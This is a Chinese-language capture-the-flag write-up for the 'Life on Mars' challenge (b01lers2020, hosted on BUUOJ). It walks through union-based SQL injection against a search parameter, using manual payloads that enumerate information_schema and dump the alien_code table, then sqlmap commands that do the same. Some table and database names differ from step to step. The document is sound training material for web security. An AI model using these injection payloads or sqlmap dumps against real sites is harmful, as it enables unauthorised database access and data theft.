[b01lers2020]Life on Mars1

打开题目页面如下

看了旁边的链接,也没有什么注入点,是正常的科普

利用burp suite抓包,发现传参

访问一下

复制代码
http://5edaec92-dd87-4fec-b0e3-501ff24d3650.node5.buuoj.cn:81/query?search=tharsis_rise

接下来进行sql注入

方法一:手工注入

判断字段

复制代码
http://5edaec92-dd87-4fec-b0e3-501ff24d3650.node5.buuoj.cn:81/query?search=tharsis_rise order by 2

这里url会编码故我们可以使用postman软件来进行测试

字段为2是正常回显,3是页面错误判断字段数为2

判断回显点

复制代码
http://5edaec92-dd87-4fec-b0e3-501ff24d3650.node5.buuoj.cn:81/query?search=tharsis_rise union select 1,2

爆出数据库名

复制代码
http://5edaec92-dd87-4fec-b0e3-501ff24d3650.node5.buuoj.cn:81/query?search=tharsis_rise union select version(),database()

爆出表名

复制代码
http://5edaec92-dd87-4fec-b0e3-501ff24d3650.node5.buuoj.cn:81/query?search=tharsis_rise union select 1,group_concat(column_name) from information_schema.columns where table_name='alien_code'

爆出字段

复制代码
http://5edaec92-dd87-4fec-b0e3-501ff24d3650.node5.buuoj.cn:81/query?search=tharsis_rise union select group_concat(name),group_concat(description) from code.alien_code

爆出字段内容

复制代码
http://5edaec92-dd87-4fec-b0e3-501ff24d3650.node5.buuoj.cn:81/query?search=tharsis_rise union select group_concat(id),group_concat(code) from alien_code.code

最后得到flag

方法二:sqlmap注入

复制代码
爆数据库名
python sqlmap.py -u http://5edaec92-dd87-4fec-b0e3-501ff24d3650.node5.buuoj.cn:81/query?search=tharsis_rise --dbs

爆表名
python sqlmap.py -u http://5edaec92-dd87-4fec-b0e3-501ff24d3650.node5.buuoj.cn:81/query?search=tharsis_rise --tables

爆字段名
python sqlmap.py -u http://5edaec92-dd87-4fec-b0e3-501ff24d3650.node5.buuoj.cn:81/query?search=tharsis_rise -T alien_code --columns

爆字段内容
python sqlmap.py -u http://5edaec92-dd87-4fec-b0e3-501ff24d3650.node5.buuoj.cn:81/query?search=tharsis_rise -T alien_code -C id --dump
相关推荐
小嵌同学2 分钟前
Linux:malloc背后的实现细节
大数据·linux·数据库
小马哥编程13 分钟前
如何在路由器上配置DHCP服务器?
服务器·网络·智能路由器
R瑾安17 分钟前
mysql安装(压缩包方式8.0及以上)
数据库·mysql
代码的余温22 分钟前
MySQL Cluster核心优缺点
数据库·mysql
爱隐身的官人32 分钟前
新后端漏洞(上)- Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)
网络·安全·web安全·spel表达式注入命令执行
星马梦缘1 小时前
计算机网络7 第七章 网络安全
网络·计算机网络·安全·web安全·非对称加密·对称加密
2401_888423091 小时前
51单片机-串口通信
网络·嵌入式硬件·51单片机
ggaofeng1 小时前
k8s网络原理
网络·容器·kubernetes
weixin_446260851 小时前
探索网络安全的利器:theHarvester
安全·web安全
wangjialelele1 小时前
Linux匿名管道和命名管道以及共享内存
linux·运维·网络